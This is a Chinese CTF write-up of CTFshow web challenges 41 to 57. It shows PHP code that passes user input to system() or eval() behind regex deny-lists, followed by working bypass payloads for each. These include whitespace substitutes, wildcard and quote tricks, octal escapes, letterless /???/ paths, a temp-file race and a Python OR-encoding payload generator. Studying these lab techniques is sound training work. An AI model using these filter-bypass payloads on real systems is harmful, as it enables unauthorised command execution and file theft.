CTFshow-命令执行(Web41-57)
CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客
总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客
对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来。
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
Web41
<?php
if(isset($_POST['c'])){$c = $_POST['c'];
` if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>
参考ctfshow web入门 web41_ctfshow web41-CSDN博客
没有过滤|,这里有羽师傅两个脚本:生成可用字符的集合
对于'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
该正则表达式的含义是:它会匹配任意一个数字字符、小写字母、“^”、“+”、“~”、“$”、“[”、“]”、“{”、“}”、“&” 或 “-”,并且在匹配时忽略大小写。可以说过滤了大部分绕过方式,但是还剩下"|"没有过滤。所以这道题的目的就是要我们使用ascii码为0-255中没有被过滤的字符进行或运算,从而得到被绕过的字符。
思路如下:
- 首先对ascii从0-255所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
- 跟据题目要求,构造payload的原型,并将原型替换为或运算的结果
- 使用POST请求发送c,获取flag
import re
import urllib
from urllib import parse
import requestscontents = []for i in range(256):for j in range(256):hex_i = '{:02x}'.format(i)hex_j = '{:02x}'.format(j)preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):continueelse:a = '%' + hex_ib = '%' + hex_jc = chr(int(a[1:], 16) | int(b[1:], 16))if 32 <= ord(c) <= 126:contents.append([c, a, b])def make_payload(cmd):payload1 = ''payload2 = ''for i in cmd:for j in contents:if i == j[0]:payload1 += j[1]payload2 += j[2]breakpayload = '("' + payload1 + '"|"' + payload2 + '")'return payloadURL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)
Web42
<?php
if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}
这段代码的问题在于它直接将用户通过$_GET['c']
传递的命令传递给了system()
函数,并试图将输出重定向到/dev/null
,这意味着任何标准输出或错误输出都不会被显示。
- 尝试无需回显的命令:?c=cp flag.php 1.txt
- ;绕过?c=cat flag.php;这里其实分号后面的都被重定向到
/dev/null
,虽然没有命令?c=cat flag.php;cat flag.php也行 - ?c=tac flag.php||ls也行因为||只会执行前面的命令
- & 两条命令都会执行?c=tac flag.php%26ls &需要url编码
| //只执行后面那条命令,这里不能用
Web43
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
cat和;被过滤
- 尝试无需回显的命令:?c=cp flag.php 1.txt
- ?c=tac flag.php||ls也行因为||只会执行前面的命令
- & 两条命令都会执行?c=tac flag.php%26ls &需要url编码
Web44
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
- ?c=tac fla?.php||ls也行因为||只会执行前面的命令
- & 两条命令都会执行?c=tac fla?.php%26ls &需要url编码
- ?c=cp fla?.php 1.txt
Web45
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
空格也被过滤,看开头空格过滤方式,这里 I F S 和 {IFS}和 IFS和IFS$1和%09没被过滤
- ?c=tac I F S f l a ? . p h p ∣ ∣ l s ? c = t a c {IFS}fla?.php||ls ?c=tac IFSfla?.php∣∣ls?c=tacIFS$1fla?.php||ls ?c=tac%09fla?.php||ls
- ?c=tac${IFS}fla?.php%26ls…
?c=cp%09fla?.php%091.txt (不行了,不知道为啥)
Web46
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
0-9$*也没了,但是%09和%26不算数字,算是url编码
- ?c=tac%09fla?.php||ls
- ?c=tac%09fla?.php%26ls
Web47
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
- ?c=tac%09fla?.php||ls
- ?c=tac%09fla?.php%26ls
Web48
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
- ?c=tac%09fla?.php||ls
- ?c=tac%09fla?.php%26ls
Web49
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
%被过滤了
- ?c=tac%09fla?.php||ls
- ?c=tac%09fla?.php%26ls
Web50
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
PHP 中,‘’ 会被解析为空字符串,所以:
fl’'ag.php = flag.php
%0a
是 URL 编码的 换行符(\n)。
- /?c=tac<fl’'ag.php%0a /?c=tac<fl%27%27ag.php||
- ?c=nl<fla\g.php||
Web51
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
tac被过滤
- ?c=nl<fla\g.php||
- ?c=t’‘ac<fl’'ag.php%0a
- ?c=vi<fla\g.php||
将
flag.php
的内容输入到vi
命令的标准输入。
vi
不会像nl
那样直接打印出文件的内容
Web52
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
<> 被过滤了,但是$和cat没
- ?c=nl${IFS}/fla’'g||
- ?c=t’‘ac${IFS}/fl’'ag%0a
- ?c=vi${IFS}fla’'g.php||
…
Web53
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);$d = system($c);echo "<br>".$d;}else{echo 'no';}
}else{highlight_file(__FILE__);
}
- ?c=ca’‘t${IFS}fla’'g.php
- ?c=ta’‘c${IFS}fla’'g.php
Web54
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
越来越怪了
过滤了很多命令。 中间这些个很多的星号的内容,其实说,含有 cat,more这样的会被匹配,如cat 那么ca323390ft或c232fa3kdfst, 凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。
- ?c=cp I F S f l a ? . p h p {IFS}fla?.php IFSfla?.php{IFS}b.txt
- ?c=/bin/ca?${IFS}???.??? (可能环境变了,实测不行,但是还是记录一下)
Web55
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
过滤了字母,但没有过滤数字
?c=/???/???64 ???.???
// 即/bin/base64 flag.php
//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有
?c=/???/???/???2 ???.???
// 即/usr/bin/bzip2 flag.php
//把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。
$‘\154\163’ 就会执行ls
$'\xxx'
可以将八进制ascii码解析为字符,仅基于这个特性,我们可以得到第一个函数common_otc(cmd)
,该函数将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'
的形式,但是注意,如果为连续的一串$'\xxx\xxx\xxx\xxx'
形式,则我们无法执行带参数的命令。
Web56
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
无字母数字rce,因为没有过滤. 而点命令在linux中是source的缩写,通过点命令,我们可以在没有执行权限的情况下执行命令
原理是通过POST上传一个文件,文件内容是要执行的命令,并且同时点命令执行该文件,形成条件竞争。这个文件默认保存在/tmp/phpxxxx路径下,所以可以通过/???/???[@-[] 来构成这个路径,[@-[]为匹配ascii码范围在@-[的字符(A,Z被屏蔽,所以范围大一位),之所以用[@-[]是因为直接用/???/???匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母。就算这样,也不一定能够准确地匹配到我们的上传文件,所以可能要多次刷新。
无字母数字webshell之提高篇 | 离别歌
无字母数字的命令执行(ctfshow web入门 55)_ctfshowweb55-CSDN博客
Web57
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}
通过$(())
操作构造出36: $(())
:代表做一次运算,因为里面为空,也表示值为0
$(( ~$(()) ))
:对0作取反运算,值为-1
$(( $((~$(()))) $((~$(()))) ))
: -1-1,也就是(-1)+(-1)为-2,所以值为-2
$(( ~$(( $((~$(()))) $((~$(()))) )) ))
:再对-2做一次取反得到1,所以值为1
故我们在$(( ~$(( )) ))
里面放37个$((~$(())))
,得到-37,取反即可得到36:
~x+1=-x
那么假如 ~x+1=-x ,-x-1 = ~x 假如x=-3 那么(–3-1)=2 =~x我们可以得出-3取反为2,-4取反为3,-37取反为36
$(())=0
$((~ $(()) ))=-1
?c=$((~ $(($((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))))))